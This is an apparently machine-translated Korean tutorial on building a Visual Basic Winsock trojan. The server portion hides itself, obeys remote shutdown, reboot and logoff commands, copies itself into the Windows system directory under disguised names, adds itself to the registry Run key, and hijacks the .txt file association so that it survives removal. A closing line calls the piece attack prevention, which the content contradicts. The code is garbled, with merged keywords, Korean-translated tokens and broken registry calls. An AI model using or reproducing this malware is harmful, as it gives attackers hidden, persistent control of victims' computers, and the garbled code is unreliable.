먼저 Server라는 새 프로젝트를 만들고, Name을 Server로 사용하여 새 양식을 만들고, 양식에 Winsock 컨트롤을 추가하고, Name을 sckServer로 설정하고, 프로토콜을 기본 TCP/ip 프로토콜로 설정합니다.
다음으로, 서버 양식 모듈로 돌아가서 다음 코드를 추가합니다.
->PRivateSubform_Load()
위드미
.sckServer.LocalPort=88917'로컬 포트(하하! 내 생일!)
.sckServer.Listen'듣기 시작
끝
EndSub
'클라이언트의 연결 요청을 수락합니다.
PrivateSubsckServer_ConnectionRequest(ByValrequestIDAsLong)
위드미
If.sckServer.State<>sckClosedThen.sckServer.Close
.sckServer.Accept(요청ID)
끝
EndSub->
다음으로 클라이언트 프로그램을 만들어 보겠습니다. Client라는 새 프로젝트를 만들고, Client라는 이름을 지정하고, sckClient라는 이름의 Winsock 컨트롤을 추가하고, 프로토콜은 TCP/IP 프로토콜입니다. 다른 버튼 cmdConnect를 추가하고 양식 모듈에 코드를 추가합니다.
->PrivateSubform_Load()
위드미
.sckClient.RemoteHost=127.0.0.1'원격 IP를 설정합니다. 이 예에서는 로컬 컴퓨터로 설정합니다.
.sckClient.RemotePort=88917'원격 포트는 서버의 설정과 동일합니다.
끝
EndSub
PrivatesubcmdConnect_Click()
SckClient.Connect
끝서브->
이 시점에서 연결 버튼을 클릭하면 두 프로젝트가 통신할 수 있지만 클라이언트의 sckClient_Connect 이벤트에 코드를 추가하여 확인할 수 있습니다.
이것은 첫 번째 단계일 뿐이며 전혀 수행된 작업이 없습니다. 기능을 추가해 보겠습니다. 단순화를 위해 이 문서에서는 종료, 다시 시작, 로그아웃과 같은 몇 가지 작은 기능만 구현합니다. 좋아, 시작해 보자!
modApi라는 이름으로 서버 프로젝트에 새 모듈을 만듭니다. 이 모듈에는 다음 API 함수를 추가합니다.
->PublicDeclareFunctionExitWindowXXXLibuser32AliasExitWindowXXX(ByValuFlagsAsLong,ByValdwReservedAsLong)AsLong
PublicConstEWX_LOGOFF=0
PublicConstEWX_REBOOT=2
PublicConstEWX_SHUTDOWN=1
PublicDeclareFunctionClipCursorLibuser32AliasClipCursor(lpRectAsAny)AsLong
공개 유형RECT
왼쪽으로 길게
위로 길게
오른쪽으로 길게
바닥이 길다
종료 유형->
참고: 두 소켓 간의 프로그래밍에서 통신에 중요한 이벤트는 원격 데이터를 수신하는 데 사용되는 DataArrival 이벤트입니다.
다음으로 클라이언트 프로젝트의 클라이언트 형식에 cmdExit, cmdLogoff 및 cmdReboot라는 세 개의 버튼을 배치합니다. 원격 종료, 로그아웃 및 다시 시작 작업에 사용됩니다. 다음 코드를 각각 추가합니다.
->PrivateSubcmdExit_Click()
Me.sckClient.SendDataExit
EndSub
PrivateSubcmdLogoff_Click()
Me.sckClient.SendDataLogoff
EndSub
PrivateSubcmdReboot_Click()
Me.sckClient.SendDataReboot
EndSub->
모든 요청은 서버로 이루어집니다. 이제 서버 프로젝트로 이동합니다. 클라이언트의 요청을 수신하려면 서버에 sckServer의 DataArrial 이벤트를 추가하세요.
->PrivateSubsckServer_DataArrival(ByValbytesTotalAsLong)
DimstrDataAsString
위드미
'고객이 요청한 정보를 받습니다.
.sckServer.GetDatastrData
SelectCasestrData
사례종료
'종료
CallExitWindowXXX(EWX_SHUTDOWN,0)
케이스재부팅
'다시 시작
CallExitWindowXXX(EWX_REBOOT,0)
케이스로그오프
'로그아웃
CallExitWindowXXX(EWX_LOGOFF,0)
선택 종료
끝
EndSub->
좋습니다. 이제 기능을 구현했지만 아직은 아니지만 뒤에서 실행되기를 원합니다. 이것은 간단합니다. 서버의 form_Load 이벤트에 me.hide라는 문장을 추가합니다. 다행히 지금은 보이지 않지만 컴퓨터를 켜자마자 트로이 목마가 자동으로 실행된다는 사실은 모두가 알고 있습니다. 왜 그리고 어떻게 달성됩니까? 레지스트리의 시작 그룹에 추가하시겠습니까? 응, 좋아, 나랑 같이 가자!
서버 프로젝트의 modApi로 돌아가서 다음 API 함수를 추가하세요.
->PublicDeclareFunctionRegOpenKeyLibadvapi32.dllAliasRegOpenKeyA(ByValhKeyAsLong,ByVallpSubKeyAsString,phkResultAsLong)AsLong
PublicDeclareFunctionRegSetvalueExLibadvapi32.dllAliasRegSetvalueExA(ByValhKeyAsLong,ByVallpvalueNameAsString,ByValReservedAsLong,ByValdwTypeAsLong,lpDataAsAny,ByValcbDataAsLong)AsLong
PublicDeclareFunctionRegCreateKeyLibadvapi32.dllAliasRegCreateKeyA(ByValhKeyAsLong,ByVallpSubKeyAsString,phkResultAsLong)AsLong
PublicConstREG_BINARY=3
PublicConstREG_SZ=1
PublicConstHKEY_LOCAL_MACHINE=&H80000002
PublicConstHKEY_CLASSES_ROOT=&H80000000->
레지스트리 시작 그룹에 쓰는 프로세스입니다.
->PublicSubStartupGroup()
DimsKeyAsString
DimresultAsLong
DimhKeyIDAs긴
DimsKeyValAsString
sKey=Systrsy'그룹에서 키를 시작하고 시스템 파일과 유사한 키를 찾으십시오.
sKeyVal=C:/windows/system/systrsy.exe'트로이 목마 파일의 경로 GetSystemDirectory를 사용하여 시스템 경로를 얻을 수 있습니다.
결과=RegOpenKey(HKEY_LOCAL_MACHINE,_
소프트웨어/Microsoft/Windows/현재 버전/실행,hKeyID)
Ifresult=0그러면
결과=RegSetvalueEx(hKeyID,sKey,0&,REG_SZ,sKeyVal,Len(sKey) 1)
종료
EndSub->
글쎄, 그게 다야. 하지만, 만약 당신이 초보자가 아니고 레지스트리에서 삭제한다면 우리의 수고가 헛되지 않을까 하는 생각을 해보신 적 있으신가요? 아니요, 발견하더라도 삭제가 불가능하도록 해야 합니다. 아래 코드를 살펴보십시오.
->PublicSubWriteToTxt()
DimresultAsLong
DimhKeyIDAs긴
DimskeyAsString
DimskeyValAsString
skey=txt파일/쉘/열기/명령
skeyVal=C:/windows/system/txtView.exe
결과=RegOpenKey(HKEY_CLASSES_ROOT,skeyVal,hKeyID)
Ifresult=0그러면
결과=RegSetvalueEx(hKeyID,skey,0&,REG_SZ,skeyVal,Len(skeyVal) 1)
종료
EndSub->
많은 친구들은 이 파일이 원래 txt 파일과 연관되어 있다는 것을 한 눈에 알았을 것입니다. 전혀 나쁘지 않은데, C:/windows/system/txtView.exe는 어디에서 왔습니까? /systrsy.exe. 이것은 트로이 목마의 복제품입니다.
좋아요, 서버 프로젝트의 Server 폼의 form_Load로 돌아가서 다음 코드를 추가하세요.
->DimsCurrentPathAsString,sSystemDirAsString
sCurrentPath=App.Path&/&App.EXEName&.exe
sSystemDir=C:/windows/시스템
OnErrorResumeNext
'파일을 시스템 디렉터리의 Systrsy.exe에 복사합니다.
FileCopysCurrentPath,sSystemDir&/Systrsy.exe
OnErrorResumeNext
파일을 시스템 디렉터리의 txtView.exe에 복사합니다.
FileCopysCurrentPath,sSystemDir&/txtView.exe->
부르다
->콜스타트업그룹
CallWriteToTxt
'프로그램이 실행 중인지 확인
IfApp.PrevInstanceThen
'이미 실행 중이면 종료합니다.
끝
EndIf->
알아채다:
1. 포트를 다룰 때는 고급 포트를 사용하는 것이 가장 좋습니다. 그렇지 않으면 일반적으로 사용되는 일부 포트와 충돌하게 됩니다.
2. VB.NET을 처음 사용하는 경우 관련 서적을 읽는 것이 가장 좋습니다.
->
이상은 Visual Basic을 사용하여 트로이 목마 공격을 방지하는 방법입니다. 자신과 적 모두가 공격이 발생하기 전에 예방 조치를 취하시기 바랍니다.